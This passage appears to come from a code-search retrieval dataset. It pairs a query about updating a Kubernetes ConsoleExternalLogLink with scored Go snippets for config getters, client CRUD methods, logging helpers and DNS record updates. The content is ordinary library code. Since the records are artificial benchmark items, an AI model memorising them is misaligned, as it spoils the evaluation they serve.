"2c5ef383a5eed71dbe20cbf4c3e7899f", "score": "0.5211806", "text": "func (o *Buffer) enc_slice_int64(p *Properties, base structPointer) error {\n\ts := structPointer_Word64Slice(base, p.field)\n\tl := s.Len()\n\tif l == 0 {\n\t\treturn ErrNil\n\t}\n\tfor i := 0; i < l; i++ {\n\t\to.buf = append(o.buf, p.tagcode...)\n\t\tp.valEnc(o, s.Index(i))\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "174757d1617e2eb835e81d15566acb0e", "score": "0.5201647", "text": "func GetStringSliceRP(prefix, key string, defaultVal ...string) []string {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetStringSlice(w.wrapWithRxxtPrefix(fmt.Sprintf(\"%s.%s\", prefix, key)), defaultVal...)\n}", "title": "" }, { "docid": "0844449ccfe9d2ced793a2347dcef662", "score": "0.5194968", "text": "func (p *Parameters) GetInt64(key string) int64 {\n\tif p.Schema == nil {\n\t\treturn 0\n\t}\n\tschema, ok := p.Schema.GetPropertySchemas()[key]\n\tif !ok {\n\t\t// Schema for the key wasn't found, but maybe \"additional\" properties are\n\t\t// supported?\n\t\tschema = p.Schema.GetAdditionalPropertySchema()\n\t\tif schema == nil {\n\t\t\treturn 0\n\t\t}\n\t}\n\tintSchema, ok := schema.(*IntPropertySchema)\n\tif !ok {\n\t\treturn 0\n\t}\n\treturn ifaceToInt64(p.Data[key], intSchema.DefaultValue)\n}", "title": "" }, { "docid": "45412cfe0cf133a5f3afff5a798fd3e8", "score": "0.51886857", "text": "func (c *Config) GetInt64(name string) int64 { return c.Must(name).(int64) }", "title": "" }, { "docid": "863e56667203c3e0876d466471a9b597", "score": "0.5186823", "text": "func GetUintRP(prefix, key string, defaultVal ...uint) uint {\n\tw := internalGetWorker()\n\treturn w.rxxtOptions.GetUintEx(w.wrapWithRxxtPrefix(fmt.Sprintf(\"%s.%s\", prefix, key)), defaultVal...)\n}", "title": "" }, { "docid": "3bd201f7069d119520d618cef206b368", "score": "0.51863205", "text": "func (c *Config) GetIntSlice(name string) []int { return c.Must(name).([]int) }", "title": "" }, { "docid": "61c3617bb40a442a149824c89017596e", "score": "0.5180019", "text": "func readInt64(filePath string) (int64, error) {\n\tstr, err := readFirstLine(filePath)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn strconv.ParseInt(str, 10, 64)\n}", "title": "" }, { "docid": "840e6e7c17dae43b994a6a59165cad76", "score": "0.51783633", "text": "func (c *Config) Int64(key string, defVal ...int64) (value int64) {\n\tvalue, exist := c.tryInt64(key)\n\n\tif !exist && len(defVal) > 0 {\n\t\tvalue = defVal[0]\n\t}\n\treturn\n}", "title": "" }, { "docid": "0f9c578adf68c48d0bc02ecfabd711f5", "score": "0.51648414", "text": "func (s *Store) Int64(r interface{}, err error) (int64, error) {\n\treturn redis.Int64(r, err)\n}", "title": "" }, { "docid": "00e6f4c3129d0acbb5e3b5013e40ad3b", "score": "0.5158812", "text": "func (p *Parth) SubSegToInt64(key string) int64 {\n\tif p.err != nil {\n\t\treturn 0\n\t}\n\n\ti, err := SubSegToInt64(p.path, key)\n\n\tp.err = err\n\treturn i\n}", "title": "" }, { "docid": "7c383313deb6e8b666d7afe2ec2fc37a", "score": "0.5154177", "text": "func Int64(r *http.Request, key string) (int64, error) {\n\treturn strconv.ParseInt(chi.URLParam(r, key), 10, 64)\n}", "title": "" } ]
ad0b851d4094b49928b3caeaf71191ef
Update takes the representation of a consoleExternalLogLink and updates it. Returns the server's representation of the consoleExternalLogLink, and an error, if there is any.
[ { "docid": "f3fc4d54eeac316958cbc7c39c821413", "score": "0.8146776", "text": "func (c *consoleExternalLogLinks) Update(consoleExternalLogLink *v1.ConsoleExternalLogLink) (result *v1.ConsoleExternalLogLink, err error) {\n\tresult = &v1.ConsoleExternalLogLink{}\n\terr = c.client.Put().\n\t\tResource(\"consoleexternalloglinks\").\n\t\tName(consoleExternalLogLink.Name).\n\t\tBody(consoleExternalLogLink).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}", "title": "" } ]
[ { "docid": "d9c28d5ae54686471eb7ef9bc2244096", "score": "0.67621124", "text": "func MutateConsoleExternalLogLink(current, desired *consolev1.ConsoleExternalLogLink) {\n\tcurrent.Spec.HrefTemplate = desired.Spec.HrefTemplate\n\tcurrent.Spec.Text = desired.Spec.Text\n}", "title": "" }, { "docid": "a1fa9269b41452948f694d220c198699", "score": "0.66659284", "text": "func CreateOrUpdateConsoleExternalLogLink(ctx context.Context, c client.Client, cll *consolev1.ConsoleExternalLogLink, equal ConsoleExternalLogLinkEqualityFunc, mutate MutateConsoleExternalLogLinkFunc) error {\n\terr := c.Create(ctx, cll)\n\tif err == nil {\n\t\treturn nil\n\t}\n\n\tif !apierrors.IsAlreadyExists(kverrors.Root(err)) {\n\t\treturn kverrors.Wrap(err, \"failed to create consoleexternalloglink\",\n\t\t\t\"name\", cll.Name,\n\t\t)\n\t}\n\n\tcurrent := &consolev1.ConsoleExternalLogLink{}\n\tkey := client.ObjectKey{Name: cll.Name}\n\terr = c.Get(ctx, key, current)\n\tif err != nil {\n\t\treturn kverrors.Wrap(err, \"failed to get consoleexternalloglink\",\n\t\t\t\"name\", cll.Name,\n\t\t)\n\t}\n\n\tif !equal(current, cll) {\n\t\terr := retry.RetryOnConflict(retry.DefaultRetry, func() error {\n\t\t\tif err := c.Get(ctx, key, current); err != nil {\n\t\t\t\tlog.Error(err, \"failed to get consoleexternalloglink\", cll.Name)\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tmutate(current, cll)\n\t\t\tif err := c.Update(ctx, current); err != nil {\n\t\t\t\tlog.Error(err, \"failed to update consoleexternalloglink\", cll.Name)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn kverrors.Wrap(err, \"failed to update consoleexternalloglink\",\n\t\t\t\t\"name\", cll.Name,\n\t\t\t)\n\t\t}\n\t\treturn nil\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "7c7a74a5725032531ce6ce847aea7b29", "score": "0.6085505", "text": "func (c *consoleExternalLogLinks) Patch(name string, pt types.PatchType, data []byte, subresources ...string) (result *v1.ConsoleExternalLogLink, err error) {\n\tresult = &v1.ConsoleExternalLogLink{}\n\terr = c.client.Patch(pt).\n\t\tResource(\"consoleexternalloglinks\").\n\t\tSubResource(subresources...).\n\t\tName(name).\n\t\tBody(data).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}", "title": "" }, { "docid": "e6f242fe3fc4d6ef007ac7e0a2006968", "score": "0.5876677", "text": "func ConsoleExternalLogLinkEqual(current, desired *consolev1.ConsoleExternalLogLink) bool {\n\tif current.Spec.HrefTemplate != desired.Spec.HrefTemplate {\n\t\treturn false\n\t}\n\n\tif current.Spec.Text != desired.Spec.Text {\n\t\treturn false\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "94ba6bfe4f11e7322ea63bff2b33ab15", "score": "0.5808875", "text": "func (c *consoleExternalLogLinks) Create(consoleExternalLogLink *v1.ConsoleExternalLogLink) (result *v1.ConsoleExternalLogLink, err error) {\n\tresult = &v1.ConsoleExternalLogLink{}\n\terr = c.client.Post().\n\t\tResource(\"consoleexternalloglinks\").\n\t\tBody(consoleExternalLogLink).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}", "title": "" }, { "docid": "b01fbb1c5aad99942e637f002c5211ce", "score": "0.55987734", "text": "func (query *dbStore) UpdateLink(ln *LinkModel) (string, error) {\n\tif ln.Icon != \"\" {\n\t\tpath, err := query.db.Query(\"SELECT icon FROM links WHERE link_id = $1\", ln.Icon)\n\t\tvar icon string\n\t\tdefer path.Close()\n\t\tfor path.Next() {\n\t\t\tpath.Scan(&icon)\n\t\t}\n\t\t_, err = query.db.Query(\"UPDATE links SET link = $1, icon = $3 WHERE link_id = $2\", ln.Link, ln.ID, ln.Icon)\n\t\treturn icon, err\n\t}\n\tdata, err := query.db.Query(\"UPDATE links SET link = $1 WHERE link_id = $2\", ln.Link, ln.ID)\n\tdefer data.Close()\n\tLink.ReadLink()\n\treturn \"\", err\n}", "title": "" }, { "docid": "a50cab864a275606706218d4e9c03ee7", "score": "0.54326683", "text": "func CreateOrUpdateConsoleLink(ctx context.Context, c client.Client, cl *consolev1.ConsoleLink, equal ConsoleLinkEqualityFunc, mutate MutateConsoleLinkFunc) error {\n\tcurrent := &consolev1.ConsoleLink{}\n\tkey := client.ObjectKey{Name: cl.Name}\n\terr := c.Get(ctx, key, current)\n\tif err != nil {\n\t\tif apierrors.IsNotFound(err) {\n\t\t\terr = c.Create(ctx, cl)\n\n\t\t\tif err == nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\treturn kverrors.Wrap(err, \"failed to create consolelink\",\n\t\t\t\t\"name\", cl.Name,\n\t\t\t)\n\t\t}\n\n\t\treturn kverrors.Wrap(err, \"failed to get consolelink\",\n\t\t\t\"name\", cl.Name,\n\t\t)\n\t}\n\n\tif !equal(current, cl) {\n\t\terr := retry.RetryOnConflict(retry.DefaultRetry, func() error {\n\t\t\tif err := c.Get(ctx, key, current); err != nil {\n\t\t\t\treturn kverrors.Wrap(err, \"failed to get consolelink\",\n\t\t\t\t\t\"name\", cl.Name,\n\t\t\t\t)\n\t\t\t}\n\n\t\t\tmutate(current, cl)\n\t\t\tif err := c.Update(ctx, current); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\treturn kverrors.Wrap(err, \"failed to update consolelink\",\n\t\t\t\t\"name\", cl.Name,\n\t\t\t)\n\t\t}\n\t\treturn nil\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "46647e34327af8ceba7e9bb01d0fd62a", "score": "0.533229", "text": "func (c *consoleExternalLogLinks) Get(name string, options metav1.GetOptions) (result *v1.ConsoleExternalLogLink, err error) {\n\tresult = &v1.ConsoleExternalLogLink{}\n\terr = c.client.Get().\n\t\tResource(\"consoleexternalloglinks\").\n\t\tName(name).\n\t\tVersionedParams(&options, scheme.ParameterCodec).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}", "title": "" }, { "docid": "916f4914ae11d0650fc1280665d04a97", "score": "0.5282913", "text": "func (c *consoleExternalLogLinks) Watch(opts metav1.ListOptions) (watch.Interface, error) {\n\tvar timeout time.Duration\n\tif opts.TimeoutSeconds != nil {\n\t\ttimeout = time.Duration(*opts.TimeoutSeconds) * time.Second\n\t}\n\topts.Watch = true\n\treturn c.client.Get().\n\t\tResource(\"consoleexternalloglinks\").\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tTimeout(timeout).\n\t\tWatch()\n}", "title": "" }, { "docid": "619ade507c5a0194510987b6240901d1", "score": "0.5269507", "text": "func (ln *LinkModel) UpdateLink() {\n\t_, err := Queries.UpdateLink(ln)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "4c9dd1edf12fdc4ae68780eabf6a40d6", "score": "0.52602756", "text": "func UpdateLink(w http.ResponseWriter, r *http.Request) {\n\tfmt.Fprintln(w, \"not implemented\")\n}", "title": "" }, { "docid": "43555e921c786074c2a9a1df33aaac3f", "score": "0.51360863", "text": "func NewConsoleExternalLogLink(consoleText, hrefTemplate string, labels map[string]string) *consolev1.ConsoleExternalLogLink {\n\treturn &consolev1.ConsoleExternalLogLink{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"ConsoleExternalLogLink\",\n\t\t\tAPIVersion: consolev1.SchemeGroupVersion.String(),\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: ExternalLogLinkName,\n\t\t\tLabels: labels,\n\t\t},\n\t\tSpec: consolev1.ConsoleExternalLogLinkSpec{\n\t\t\tText: consoleText,\n\t\t\tHrefTemplate: hrefTemplate,\n\t\t},\n\t}\n}", "title": "" }, { "docid": "b1da47c5d5e00c78879b9e85d220fb89", "score": "0.49562645", "text": "func (c *consoleExternalLogLinks) Delete(name string, options *metav1.DeleteOptions) error {\n\treturn c.client.Delete().\n\t\tResource(\"consoleexternalloglinks\").\n\t\tName(name).\n\t\tBody(options).\n\t\tDo().\n\t\tError()\n}", "title": "" }, { "docid": "05bd50d33be30403f9b76f3bd9b3575a", "score": "0.47943324", "text": "func ConsoleLink(name string) *ConsoleLinkApplyConfiguration {\n\tb := &ConsoleLinkApplyConfiguration{}\n\tb.WithName(name)\n\tb.WithKind(\"ConsoleLink\")\n\tb.WithAPIVersion(\"console.openshift.io/v1\")\n\treturn b\n}", "title": "" }, { "docid": "a262b563964ec4b739dcf4a92ec95c8c", "score": "0.47314093", "text": "func (c *consoleExternalLogLinks) List(opts metav1.ListOptions) (result *v1.ConsoleExternalLogLinkList, err error) {\n\tvar timeout time.Duration\n\tif opts.TimeoutSeconds != nil {\n\t\ttimeout = time.Duration(*opts.TimeoutSeconds) * time.Second\n\t}\n\tresult = &v1.ConsoleExternalLogLinkList{}\n\terr = c.client.Get().\n\t\tResource(\"consoleexternalloglinks\").\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tTimeout(timeout).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}", "title": "" }, { "docid": "ce8656dd3ab391285bd4226829940767", "score": "0.46124008", "text": "func (client *Client) UpdateStream(\n\tctx context.Context, stream *graylog.Stream,\n) (*ErrorInfo, error) {\n\tif stream == nil {\n\t\treturn nil, errors.New(\"stream is nil\")\n\t}\n\tif stream.ID == \"\" {\n\t\treturn nil, errors.New(\"id is empty\")\n\t}\n\tbody := *stream\n\tbody.ID = \"\"\n\treturn client.callPut(ctx, client.Endpoints().Stream(stream.ID), &body, stream)\n}", "title": "" }, { "docid": "19ec2b63758e76f9385f0f1acbf1ab2c", "score": "0.4600457", "text": "func Update(s StatusLine) error {\n\treturn jsonWriter.Encode(s)\n}", "title": "" }, { "docid": "63de3c9c7514ffeafd0684aeac111904", "score": "0.45525977", "text": "func (c *linksClient) Update(id string, newLink *LinkCreateModel) (res *LinkModel, err error) {\n\tres = new(LinkModel)\n\terr = c.r.Post(\"links/\"+id, newLink, nil, res)\n\treturn\n}", "title": "" }, { "docid": "e17b6df97b13b6faf4005a84055f5a8f", "score": "0.45426965", "text": "func AddLink(last, path, hash string) (string, error) {\n\treturn Exec(\"object\", \"patch\", \"add-link\", last, path, hash)\n}", "title": "" }, { "docid": "e17b6df97b13b6faf4005a84055f5a8f", "score": "0.45426965", "text": "func AddLink(last, path, hash string) (string, error) {\n\treturn Exec(\"object\", \"patch\", \"add-link\", last, path, hash)\n}", "title": "" }, { "docid": "385c01c66db76d2e24cf7469bcad512b", "score": "0.45345858", "text": "func newConsoleExternalLogLinks(c *ConsoleV1Client) *consoleExternalLogLinks {\n\treturn &consoleExternalLogLinks{\n\t\tclient: c.RESTClient(),\n\t}\n}", "title": "" }, { "docid": "302d151a4aaf9227e93aebe74df5cc3b", "score": "0.4516759", "text": "func (o DataBoxDiskCopyLogDetailsResponseOutput) ErrorLogLink() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DataBoxDiskCopyLogDetailsResponse) string { return v.ErrorLogLink }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "6ee351a49af8d99ebd67965f301ef403", "score": "0.4510578", "text": "func (log *RaftLog) Update(index int64, entry iface.LogEntry) error {\n\n\tvar (\n\t\tmarshal []byte\n\t\terr error\n\t)\n\n\tif index > log.lastIndex {\n\t\treturn errors.New(\"index greater than greatest index in the log\")\n\t}\n\n\tif marshal, err = json.Marshal(entry); err != nil {\n\t\treturn err\n\t}\n\n\tif err = log.storage.Set(\n\t\t[]byte(\"/raft/log/index=\"+toString(index)),\n\t\tmarshal); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "cb1ecf10237f9779e8975474902eedd2", "score": "0.44871292", "text": "func (h *AWSPrivatelinkHandler) Update(ctx context.Context, project, serviceName string, principals []string) (*AWSPrivatelinkResponse, error) {\n\tpath := buildPath(\"project\", project, \"service\", serviceName, \"privatelink\", \"aws\")\n\tbts, err := h.client.doPutRequest(ctx, path, AWSPrivatelinkRequest{\n\t\tPrincipals: principals,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar rsp AWSPrivatelinkResponse\n\tif err := checkAPIResponse(bts, &rsp); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &rsp, nil\n}", "title": "" }, { "docid": "1dd7b42e3b171573e4e8ad16fb83b558", "score": "0.44638085", "text": "func (mr *MockRepositoryMockRecorder) UpdateLink(ctx, link interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateLink\", reflect.TypeOf((*MockRepository)(nil).UpdateLink), ctx, link)\n}", "title": "" }, { "docid": "491bc60bf2f08b2ced5d622cd3e1ffee", "score": "0.44418362", "text": "func (entry *Entry) Debugln(args ...interface{}) {\n\tif entry.Logger.Level >= Debug {\n\t\tentry.Debug(entry.sprintlnn(args...))\n\t}\n}", "title": "" }, { "docid": "788cf8163fca8d68b9aa38b91c669dac", "score": "0.44093812", "text": "func ExtractConsoleLinkStatus(consoleLink *apiconsolev1.ConsoleLink, fieldManager string) (*ConsoleLinkApplyConfiguration, error) {\n\treturn extractConsoleLink(consoleLink, fieldManager, \"status\")\n}", "title": "" }, { "docid": "f3ae02890ca2bfd10d21b40fbe43088f", "score": "0.43958175", "text": "func (entry *Entry) Debugln(args ...interface{}) {\n\tif entry.Logger.level() >= DebugLevel {\n\t\tentry.Debug(entry.sprintlnn(args...))\n\t}\n}", "title": "" }, { "docid": "a4fe66ce662f1e8adcf338cd1d0f2432", "score": "0.43770558", "text": "func (ed *EditionUpdate) UpdateLinks(ctx context.Context, host string) error {\n\tif ed.Next == nil || ed.Next.Links == nil || ed.Next.Links.LatestVersion == nil || ed.Next.Links.LatestVersion.ID == \"\" {\n\t\treturn ErrEditionLinksInvalid\n\t}\n\n\tversionID := ed.Next.Links.LatestVersion.ID\n\tversion, err := strconv.Atoi(ed.Next.Links.LatestVersion.ID)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to convert version id from edition.next document\")\n\t}\n\n\tcurrentVersion := 0\n\n\tif ed.Current != nil && ed.Current.Links != nil && ed.Current.Links.LatestVersion != nil {\n\t\tvar err error\n\t\tcurrentVersion, err = strconv.Atoi(ed.Current.Links.LatestVersion.ID)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to convert version id from edition.current document\")\n\t\t}\n\t}\n\n\tif currentVersion > version {\n\t\tlog.Event(ctx, \"published edition links to a higher version than the requested change\", log.INFO, log.Data{\"doc\": ed, \"versionID\": versionID})\n\t\treturn errors.New(\"published edition links to a higher version than the requested change\")\n\t}\n\n\tversion++\n\tversionID = strconv.Itoa(version)\n\n\ted.Next.Links.LatestVersion = &LinkObject{\n\t\tID: versionID,\n\t\tHRef: fmt.Sprintf(\"%s/datasets/%s/editions/%s/versions/%s\", host, ed.Next.Links.Dataset.ID, ed.Next.Edition, versionID),\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "46eaa9351566b68c693579b51aa1a90c", "score": "0.4364468", "text": "func (w Wrapper) UpdateStream(streampath string, updates map[string]interface{}) error {\n\ts, err := w.AdminOperator().ReadStream(streampath)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn w.UpdateStreamByID(s.StreamID, updates)\n}", "title": "" }, { "docid": "50c897db9e2c19d1b6d84e8743de025d", "score": "0.43372256", "text": "func (convert *Converter) ExternalLink(line string, elements []string) {\n\tcheckLength(line, elements, 7)\n\n\tx, y := parseFloatPanic(elements[1], line), parseFloatPanic(elements[2], line)\n\tw, h := parseFloatPanic(elements[3], line), parseFloatPanic(elements[4], line)\n\n\tconvert.pdf.SetX(x)\n\tconvert.pdf.SetY(y)\n\n\tconvert.pdf.Text(elements[5])\n\ty1 := y\n\tif y-h > 0 {\n\t\ty1 = y - h\n\t}\n\tconvert.pdf.AddExternalLink(elements[6], x, y1, w, h)\n\n\tconvert.pdf.SetX(x + w)\n\tconvert.pdf.SetY(y)\n}", "title": "" }, { "docid": "0f3e265eeb1296a9ff9919b0207f1be3", "score": "0.43154433", "text": "func (ctlr *Controller) updateIngressLinkStatus(il *cisapiv1.IngressLink, ip string) {\n\t// Set the vs status to include the virtual IP address\n\tilStatus := cisapiv1.IngressLinkStatus{VSAddress: ip}\n\til.Status = ilStatus\n\t_, updateErr := ctlr.kubeCRClient.CisV1().IngressLinks(il.ObjectMeta.Namespace).UpdateStatus(context.TODO(), il, metav1.UpdateOptions{})\n\tif nil != updateErr {\n\t\tlog.Debugf(\"Error while updating ingresslink status:%v\", updateErr)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "8386766320b87f42a28debaa907f4622", "score": "0.43008837", "text": "func (s *ShaderProgram) Link() {\n\tgl.LinkProgram(s.id)\n\tvar status int32\n\tgl.GetProgramiv(s.id, gl.LINK_STATUS, &status)\n\tif status == gl.FALSE {\n\t\tvar logLength int32\n\t\tgl.GetProgramiv(s.id, gl.INFO_LOG_LENGTH, &logLength)\n\n\t\tlogStr := strings.Repeat(\"\\x00\", int(logLength+1))\n\t\tgl.GetProgramInfoLog(s.id, logLength, nil, gl.Str(logStr))\n\n\t\tfmt.Printf(\"Error: failed to link program: %v\", logStr)\n\t}\n}", "title": "" }, { "docid": "213a45ad7e5f8d073a90e097b45b983f", "score": "0.42984208", "text": "func (r *IAMRole) UpdateExternalStatus(observation iam.Role) {\n\tr.Status.IAMRoleExternalStatus = IAMRoleExternalStatus{\n\t\tARN: aws.StringValue(observation.Arn),\n\t\tRoleID: aws.StringValue(observation.RoleId),\n\t}\n}", "title": "" }, { "docid": "09a78ab8160278ca023558f8c7af52aa", "score": "0.42923686", "text": "func (entry *FilteredLogEntry) Debugln(args ...interface{}) {\n\tif entry.Level >= DebugLevel {\n\t\tentry.Debug(entry.sprintlnn(args...))\n\t}\n}", "title": "" }, { "docid": "8fcc02942bfba2e5856c751c736f71c2", "score": "0.42854017", "text": "func (sp *ShaderProgram) Link() error {\n\tgl.LinkProgram(sp.id)\n\tvar (\n\t\terrLog = [512]uint8{}\n\t\tlength int32\n\t)\n\n\tgl.GetProgramInfoLog(sp.id, 512, &length, &errLog[0])\n\tif length > 0 {\n\t\treturn fmt.Errorf(\"%s\", errLog[:])\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "140b8b1b774d267b63a6de0b0a2d1d0d", "score": "0.4281025", "text": "func Debugln(sl *SubLogger, v ...interface{}) {\n\tmu.RLock()\n\tdefer mu.RUnlock()\n\tfields := sl.getFields()\n\tif fields == nil {\n\t\treturn\n\t}\n\tif fields.debug {\n\t\tfields.output.StageLogEvent(func() string { return fmt.Sprintln(v...) },\n\t\t\tfields.logger.DebugHeader,\n\t\t\tfields.name,\n\t\t\tfields.logger.Spacer,\n\t\t\tfields.logger.TimestampFormat,\n\t\t\tfields.logger.ShowLogSystemName,\n\t\t\tfields.logger.BypassJobChannelFilledWarning)\n\t}\n\tlogFieldsPool.Put(fields)\n}", "title": "" }, { "docid": "dcc39476aaf916e6069bfc03065efb07", "score": "0.4280888", "text": "func (c *ControllerClient) Update(mg resource.Managed) (managed.ExternalUpdate, error) {\n\to := &models.UpdateResponse{}\n\tif err := c.post(models.UpdateRequest{\n\t\tManaged: mg,\n\t}, o, \"/update\"); err != nil {\n\t\treturn managed.ExternalUpdate{}, err\n\t}\n\treturn managed.ExternalUpdate{\n\t\tConnectionDetails: managed.ConnectionDetails(o.External.ConnectionDetails),\n\t}, nil\n}", "title": "" }, { "docid": "1ef0e121ec1ad8b12581dbd1b5010094", "score": "0.42681396", "text": "func (l *Logger) Debugln(v ...interface{}) {\n\tif l != nil && mutagen.DebugEnabled {\n\t\tl.output(3, fmt.Sprintln(v...))\n\t}\n}", "title": "" }, { "docid": "71da850fbdd71c88da5416ff076026b5", "score": "0.42627817", "text": "func Println(entryLevel Levels, message string, address string) {\n\tvar l *entry = new(entry)\n\tl.Timestamp = time.Now().Format(time.RFC1123)\n\tl.Message = message\n\tl.Address = address\n\tl.Level = levelStr[level]\n\tcontent, err := json.Marshal(l)\n\tif err != nil {\n\t\t// we shouldn't skip errors\n\t\treturn\n\t}\n\tif level >= entryLevel {\n\t\tfmt.Println(string(content))\n\t}\n}", "title": "" }, { "docid": "a3f8100011f6c3bafde5f6c9a7b2b09d", "score": "0.42320645", "text": "func (b *BaseReconciler) HasConsoleLink() (bool, error) {\n\treturn resourceExists(b.DiscoveryClient(),\n\t\tconsolev1.GroupVersion.String(), \"ConsoleLink\")\n}", "title": "" }, { "docid": "00f3e7af2d97a50265cba66a5bf1ed16", "score": "0.42241096", "text": "func (o *Link) Update(ctx context.Context, exec boil.ContextExecutor, columns boil.Columns) (int64, error) {\n\tvar err error\n\tif err = o.doBeforeUpdateHooks(ctx, exec); err != nil {\n\t\treturn 0, err\n\t}\n\tkey := makeCacheKey(columns, nil)\n\tlinkUpdateCacheMut.RLock()\n\tcache, cached := linkUpdateCache[key]\n\tlinkUpdateCacheMut.RUnlock()\n\n\tif !cached {\n\t\twl := columns.UpdateColumnSet(\n\t\t\tlinkAllColumns,\n\t\t\tlinkPrimaryKeyColumns,\n\t\t)\n\n\t\tif !columns.IsWhitelist() {\n\t\t\twl = strmangle.SetComplement(wl, []string{\"created_at\"})\n\t\t}\n\t\tif len(wl) == 0 {\n\t\t\treturn 0, errors.New(\"postgresmodel: unable to update Links, could not build whitelist\")\n\t\t}\n\n\t\tcache.query = fmt.Sprintf(\"UPDATE \\\"Links\\\" SET %s WHERE %s\",\n\t\t\tstrmangle.SetParamNames(\"\\\"\", \"\\\"\", 1, wl),\n\t\t\tstrmangle.WhereClause(\"\\\"\", \"\\\"\", len(wl)+1, linkPrimaryKeyColumns),\n\t\t)\n\t\tcache.valueMapping, err = queries.BindMapping(linkType, linkMapping, append(wl, linkPrimaryKeyColumns...))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tvalues := queries.ValuesFromMapping(reflect.Indirect(reflect.ValueOf(o)), cache.valueMapping)\n\n\tif boil.IsDebug(ctx) {\n\t\twriter := boil.DebugWriterFrom(ctx)\n\t\tfmt.Fprintln(writer, cache.query)\n\t\tfmt.Fprintln(writer, values)\n\t}\n\tvar result sql.Result\n\tresult, err = exec.ExecContext(ctx, cache.query, values...)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"postgresmodel: unable to update Links row\")\n\t}\n\n\trowsAff, err := result.RowsAffected()\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"postgresmodel: failed to get rows affected by update for Links\")\n\t}\n\n\tif !cached {\n\t\tlinkUpdateCacheMut.Lock()\n\t\tlinkUpdateCache[key] = cache\n\t\tlinkUpdateCacheMut.Unlock()\n\t}\n\n\treturn rowsAff, o.doAfterUpdateHooks(ctx, exec)\n}", "title": "" }, { "docid": "2809239847426c67fc1fa636789ffef0", "score": "0.42224243", "text": "func (invite *CloakInviteLink) update() error {\n\t_, err := db.Exec(\n\t\t\"UPDATE cloak_invite_links SET added = ? WHERE cloak_id = ? AND link = ?\",\n\t\tinvite.Added, invite.CloakID, invite.Link)\n\treturn err\n}", "title": "" }, { "docid": "c5e6107fa24f74e143f7b3251d4755e9", "score": "0.41989005", "text": "func (o DataBoxDiskCopyLogDetailsResponseOutput) VerboseLogLink() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DataBoxDiskCopyLogDetailsResponse) string { return v.VerboseLogLink }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "de4e05087dab5e4bb39802fadb3755a8", "score": "0.418948", "text": "func AtualizarLink(link *Link) {\n\n\t_, err := db.Exec(`update link set url=?, titulo=?, tags=?, privado=? where rowid = ?;`,\n\t\tlink.URL, link.Titulo, link.Tags.String(), link.Privado, link.ID)\n\n\tif err != nil {\n\t\tlog.Fatal(\"Erro no update de link: \", err)\n\t}\n}", "title": "" }, { "docid": "60056eab6c9faefec91beda33f26cd98", "score": "0.41833723", "text": "func Update(db *sqlx.DB, feed Feed) (sql.Result, error) {\n\treturn db.NamedExec(\n\t\t`\n\t\tUPDATE feeds SET\n\t\t\tshow = :show,\n\t\t\turl = :url,\n\t\t\tlast_update = :last_update\n\t\tWHERE id = :id\n\t\t`,\n\t\t&feed,\n\t)\n}", "title": "" }, { "docid": "b64325cd18541757392c6e7b0b1fcad5", "score": "0.41677797", "text": "func Update(auth *HoverAuth, domainName string, hostName string, ip4 net.IP, ip6 net.IP) error {\n\tclient := &http.Client{}\n\n\tif auth == nil {\n\t\treturn errors.New(\"no auth session was provided\")\n\t}\n\n\tdomainID, err := getDomainID(client, auth.SessionCookie, auth.AuthCookie, domainName)\n\tif err != nil {\n\t\tlog.Error(\"Failed to get domain ID: \", err)\n\t\treturn err\n\t}\n\tlog.Infof(\"Found domain ID %s for domain %s\", domainID, domainName)\n\n\tif ip4 != nil {\n\t\tif ip4.To4() == nil {\n\t\t\tlog.Error(fmt.Sprintf(\"Not updating invalid address '%s'\", ip4.String()))\n\t\t} else {\n\t\t\terr = updateSingleRecord(client, auth.SessionCookie, auth.AuthCookie, domainID, hostName, ip4.String(), \"A\")\n\t\t\tif err != nil {\n\t\t\t\tlog.Error(\"Was not able to update IPv4 record:\", err)\n\t\t\t}\n\t\t}\n\t}\n\tif ip6 != nil {\n\t\tif ip6.To16() == nil {\n\t\t\tlog.Error(fmt.Sprintf(\"Not updating invalid address '%s'\", ip4.String()))\n\t\t} else {\n\t\t\terr = updateSingleRecord(client, auth.SessionCookie, auth.AuthCookie, domainID, hostName, ip6.String(), \"AAAA\")\n\t\t\tif err != nil 